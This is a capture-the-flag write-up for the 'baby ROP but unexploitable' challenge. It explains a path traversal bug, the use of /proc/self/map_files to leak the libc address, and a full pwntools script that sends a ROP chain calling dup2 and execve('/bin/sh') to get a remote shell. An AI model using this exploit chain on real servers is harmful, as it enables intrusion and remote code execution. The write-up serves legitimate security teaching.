baby ROP but unexploitable

by flok / FAUST

Tags: rop pwn path-traversal

Rating:

The Vulnerability

We got this obvious vulnerability that let us write a ROP chain to the stack in `handle_connection`:

```
    // here, I'll just let you write a ROP chain. Without an address leak you won't be able to do anyth
ing anyways!
    if (http_method == HTTP_METHOD_POST) {
        //char *req_header_end = strstr(buf, "\r\n\r\n")+4;
        char *req_header_end = strstr(http_version_end+1, "\r\n\r\n")+4;
        int roplen = received - (req_header_end - buf);
        roplen = roplen > 128 ? 128 : roplen;
        memcpy(buf+RETURN_ADDR_OFFSET+8, req_header_end, roplen);
        //memcpy(buf+RETURN_ADDR_OFFSET+8, req_header_end, received - (req_header_end - buf));
    }
```

However, we still had a second vulnerability. In `parse_path` we return the request path as is:

```
char * parse_path(char *buf) {
    char *pathstart = strstr(buf, " ")+1;
    char *pathend;
    if ((pathend = strstr(pathstart, " ")) == NULL) {
        perror("Malformed Header");
        return NULL;
    }
    pathend = strstr(pathstart, "?") < pathend && strstr(pathstart, "?") != NULL ? strstr(pathstart,
"?") : pathend;
    int pathlen = pathend - pathstart;
    printf("pathlen: %d\n", pathlen);
    char *path;
    if (asprintf(&path, "./%.*s", pathlen, pathstart) == -1) {
        perror("asprintf");
        return NULL;
    }
    return path;
}
```

We then proceed to use this path without normalizing it. Therefore we get path traversal with a request like:

```
GET /../../etc/ HTTP/1.1
Host: localhost:1337
```

Unfortunately, we couldn't read the flag this way because we only had directory listings...

A Deep Dive into Linux's procfs

To exploit this challenge it seems like we need to defeat ASLR. We can easily get the libc on the remote by building the docker container ourselves and extracting `/lib/x86_64-linux-gnu/libc.so.6`. All that's left is to figure out where the libc is mapped.

In traditional UNIX philosophy, everything in Linux can be done via the file system. There are special directories in `/dev` `/sys` and `/proc`. Let's focus on the proc filesystem for now.

Each process has a directory `/proc/<pid>/` that contains a lot of information about a process.

Additionally, there exists a symlink at `/proc/self` that always points to the current process:

```
$ ls -l /proc/self
lrwxrwxrwx 1 root root 0 11. Jun 10:59 /proc/self -> 33982
```

So, what is the information you can get from a process? See for yourself:

```
$ ls /proc/self/
arch_status  cmdline             environ  limits     mounts      oom_score      root       smaps_rollup
task
attr         comm                exe      loginuid   mountstats  oom_score_adj  sched      stack
timens_offsets
autogroup    coredump_filter     fd       map_files  net         pagemap        schedstat  stat
timers
auxv         cpu_resctrl_groups  fdinfo   maps       ns          patch_state    sessionid  statm
timerslack_ns
cgroup       cpuset              gid_map  mem        numa_maps   personality    setgroups  status
uid_map
clear_refs   cwd                 io       mountinfo  oom_adj     projid_map     smaps      syscall
wchan
```

Let's cover a few interestig files:

- `cmdline` is the argv of the process, e.g.:

```
$ hexdump -C /proc/self/cmdline
00000000  68 65 78 64 75 6d 70 00  2d 43 00 2f 70 72 6f 63  |hexdump.-C./proc|
00000010  2f 73 65 6c 66 2f 63 6d  64 6c 69 6e 65 00        |/self/cmdline.|
0000001e
```

- `fd` is a directory containing symlinks to all open files:

```
$ ls -l /proc/self/fd
total 0
lrwx------ 1 root root 64 11. Jun 13:46 0 -> /dev/pts/3
lrwx------ 1 root root 64 11. Jun 13:46 1 -> /dev/pts/3
lrwx------ 1 root root 64 11. Jun 13:46 18 -> /dev/dri/card0
lrwx------ 1 root root 64 11. Jun 13:46 2 -> /dev/pts/3
lr-x------ 1 root root 64 11. Jun 13:46 3 -> /proc/34525/fd
```

You can get more information about a particular file descriptor via the `fdinfo` directory

```
$ cat /proc/self/fdinfo/0
pos:    0
flags:  02
mnt_id: 25
ino:    6
```

- `mem` is a view of the process's virtual memory. You can seek to any virtual address in the file and read **or write** from/to the file and read or manipulate memory of the process! This is a quite powerfull tool.
- Similarly `maps` will give you the virtual address space layout of a process.

```
$ cat /proc/self/maps
560c9672d000-560c9672f000 r--p 00000000 103:01 965388                    /usr/bin/cat
560c9672f000-560c96734000 r-xp 00002000 103:01 965388                    /usr/bin/cat
560c96734000-560c96737000 r--p 00007000 103:01 965388                    /usr/bin/cat
560c96737000-560c96738000 r--p 00009000 103:01 965388                    /usr/bin/cat
560c96738000-560c96739000 rw-p 0000a000 103:01 965388                    /usr/bin/cat
560c98142000-560c98163000 rw-p 00000000 00:00 0                          [heap]
7feaf2400000-7feaf26e9000 r--p 00000000 103:01 928170                    /usr/lib/locale/locale-archive
7feaf2711000-7feaf2714000 rw-p 00000000 00:00 0
7feaf2714000-7feaf273a000 r--p 00000000 103:01 920914                    /usr/lib/x86_64-linux-gnu/lib
c.so.6
7feaf273a000-7feaf288f000 r-xp 00026000 103:01 920914                    /usr/lib/x86_64-linux-gnu/lib
c.so.6
7feaf288f000-7feaf28e2000 r--p 0017b000 103:01 920914                    /usr/lib/x86_64-linux-gnu/lib
c.so.6
7feaf28e2000-7feaf28e6000 r--p 001ce000 103:01 920914                    /usr/lib/x86_64-linux-gnu/lib
c.so.6
7feaf28e6000-7feaf28e8000 rw-p 001d2000 103:01 920914                    /usr/lib/x86_64-linux-gnu/lib
c.so.6
7feaf28e8000-7feaf28f5000 rw-p 00000000 00:00 0
7feaf28f7000-7feaf291b000 rw-p 00000000 00:00 0
7feaf291b000-7feaf291c000 r--p 00000000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-l
inux-x86-64.so.2
7feaf291c000-7feaf2941000 r-xp 00001000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-l
inux-x86-64.so.2
7feaf2941000-7feaf294b000 r--p 00026000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-l
inux-x86-64.so.2
7feaf294b000-7feaf294d000 r--p 00030000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-l
inux-x86-64.so.2
7feaf294d000-7feaf294f000 rw-p 00032000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-l
inux-x86-64.so.2
7ffee7846000-7ffee7867000 rw-p 00000000 00:00 0                          [stack]
7ffee78b1000-7ffee78b5000 r--p 00000000 00:00 0                          [vvar]
7ffee78b5000-7ffee78b7000 r-xp 00000000 00:00 0                          [vdso]
```

`/proc/self/maps` sounds promising, but unfortunately that is a normal file and we cannot read those.

Well, it turns out there is also a `/proc/self/map_files`. This is a directory containing all memory mapped files as symlinks and their names are the address ranges:

```
$ ls -l /proc/self/map_files
insgesamt 0
lr-------- 1 root root 64 11. Jun 13:55 55f566cd9000-55f566cdd000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cdd000-55f566cf3000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cf3000-55f566cfc000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cfc000-55f566cfd000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cfd000-55f566cfe000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 7f9008400000-7f90086e9000 -> /usr/lib/locale/locale-archive
lr-------- 1 root root 64 11. Jun 13:55 7f900880b000-7f900886a000 -> /usr/share/locale/de/LC_MESSAGES/c
oreutils.mo
lr-------- 1 root root 64 11. Jun 13:55 7f900886d000-7f900886f000 -> /usr/lib/x86_64-linux-gnu/libpcre2
-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f900886f000-7f90088da000 -> /usr/lib/x86_64-linux-gnu/libpcre2
-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f90088da000-7f9008905000 -> /usr/lib/x86_64-linux-gnu/libpcre2
-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008905000-7f9008906000 -> /usr/lib/x86_64-linux-gnu/libpcre2
-8.so.0.11.2
```

```
lr-------- 1 root root 64 11. Jun 13:55 7f9008906000-7f9008907000 -> /usr/lib/x86_64-linux-gnu/libpcre2
-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008907000-7f900892d000 -> /usr/lib/x86_64-linux-gnu/libc.so.
6
lr-------- 1 root root 64 11. Jun 13:55 7f900892d000-7f9008a82000 -> /usr/lib/x86_64-linux-gnu/libc.so.
6
lr-------- 1 root root 64 11. Jun 13:55 7f9008a82000-7f9008ad5000 -> /usr/lib/x86_64-linux-gnu/libc.so.
6
lr-------- 1 root root 64 11. Jun 13:55 7f9008ad5000-7f9008ad9000 -> /usr/lib/x86_64-linux-gnu/libc.so.
6
lr-------- 1 root root 64 11. Jun 13:55 7f9008ad9000-7f9008adb000 -> /usr/lib/x86_64-linux-gnu/libc.so.
6
lr-------- 1 root root 64 11. Jun 13:55 7f9008ae8000-7f9008aef000 -> /usr/lib/x86_64-linux-gnu/libselin
ux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008aef000-7f9008b0a000 -> /usr/lib/x86_64-linux-gnu/libselin
ux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b0a000-7f9008b12000 -> /usr/lib/x86_64-linux-gnu/libselin
ux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b12000-7f9008b13000 -> /usr/lib/x86_64-linux-gnu/libselin
ux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b13000-7f9008b14000 -> /usr/lib/x86_64-linux-gnu/libselin
ux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b33000-7f9008b3a000 -> /usr/lib/x86_64-linux-gnu/gconv/gc
onv-modules.cache
lr-------- 1 root root 64 11. Jun 13:55 7f9008b3c000-7f9008b3d000 -> /usr/lib/x86_64-linux-gnu/ld-linux
-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b3d000-7f9008b62000 -> /usr/lib/x86_64-linux-gnu/ld-linux
-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b62000-7f9008b6c000 -> /usr/lib/x86_64-linux-gnu/ld-linux
-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b6c000-7f9008b6e000 -> /usr/lib/x86_64-linux-gnu/ld-linux
-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b6e000-7f9008b70000 -> /usr/lib/x86_64-linux-gnu/ld-linux
-x86-64.so.2
```

We can use this on the remote server to get the address ranges of any memory mapped file as filenames. This way we can figure out that the libc is mapped starting at 0x7f9cbbcba000:

(Note: we pass `--path-as-is` to curl to prevent it from normalizing the requested path)

```
$ curl --http1.1 --path-as-is https://baby-ROP-but-unexploitable-0.chals.kitctf.de:1337/../proc/self/ma
p_files/
<!doctype html>
<html>
<body>
 <ul>
  <li> <a href=".">.</li>
  <li> <a href="..">..</li>
  <li> <a href="555a052eb000-555a052ec000">555a052eb000-555a052ec000</li>
  <li> <a href="555a052ec000-555a052ed000">555a052ec000-555a052ed000</li>
  <li> <a href="555a052ed000-555a052ee000">555a052ed000-555a052ee000</li>
  <li> <a href="555a052ee000-555a052ef000">555a052ee000-555a052ef000</li>
  <li> <a href="555a052ef000-555a052f0000">555a052ef000-555a052f0000</li>
  <li> <a href="7f9cbbcba000-7f9cbbce2000">7f9cbbcba000-7f9cbbce2000</li>
  <li> <a href="7f9cbbce2000-7f9cbbe77000">7f9cbbce2000-7f9cbbe77000</li>
  <li> <a href="7f9cbbe77000-7f9cbbecf000">7f9cbbe77000-7f9cbbecf000</li>
  <li> <a href="7f9cbbecf000-7f9cbbed3000">7f9cbbecf000-7f9cbbed3000</li>
  <li> <a href="7f9cbbed3000-7f9cbbed5000">7f9cbbed3000-7f9cbbed5000</li>
  <li> <a href="7f9cbbee6000-7f9cbbee8000">7f9cbbee6000-7f9cbbee8000</li>
  <li> <a href="7f9cbbee8000-7f9cbbf12000">7f9cbbee8000-7f9cbbf12000</li>
  <li> <a href="7f9cbbf12000-7f9cbbf1d000">7f9cbbf12000-7f9cbbf1d000</li>
  <li> <a href="7f9cbbf1e000-7f9cbbf20000">7f9cbbf1e000-7f9cbbf20000</li>
```

```
  <li> <a href="7f9cbbf20000-7f9cbbf22000">7f9cbbf20000-7f9cbbf22000</li>
 </ul>
</body>
```

Exploiting via pwntools

Our goal is to pop a shell. This means we have to call `execve("/bin/sh", NULL, NULL)` in the end.

But before we can do that, we need to redirect stdin and stdout to our socket or else we cannot interact with the shell.

Here, the `dup2(from, to)` function comes in handy, it duplicates the file descriptor `from` and assigns it the number `to`. As the socket is file descriptor `4` we just need to call `dup2(4, 0)` to redirect stdin and `dup2(4, 1)` to redirect stdout

Exploiting this via pwntools becomes quite trivial:

```
io = remote('baby-ROP-but-unexploitable-0.chals.kitctf.de', 1337, ssl=True)
libc = ELF('./libc.so.6')
libc.address = 0x7f9cbbcba000
rop = ROP(libc)
rop.dup2(4, 0)
# Calling rop.dup2(4, 1) would make our ropchain too long
# first argument (rdi) is already set, therefore we can make it a bit shorter
rop.rsi = 1
rop.dup2()
rop.execve(next(libc.search(b"/bin/sh")), 0, 0)

assert len(bytes(rop)) <= 128, len(bytes(rop))

post = f"""POST / HTTP/1.1
Host: baby-ROP-but-unexploitable-0.chals.kitctf.de:1337
User-Agent: curl/7.88.1
Accept: */*
Content-Length: {len(bytes(rop))}
Content-Type: text/plain

"""

io.send(post.encode().replace(b"\n", b"\r\n") + bytes(rop))
io.interactive()
```

Comments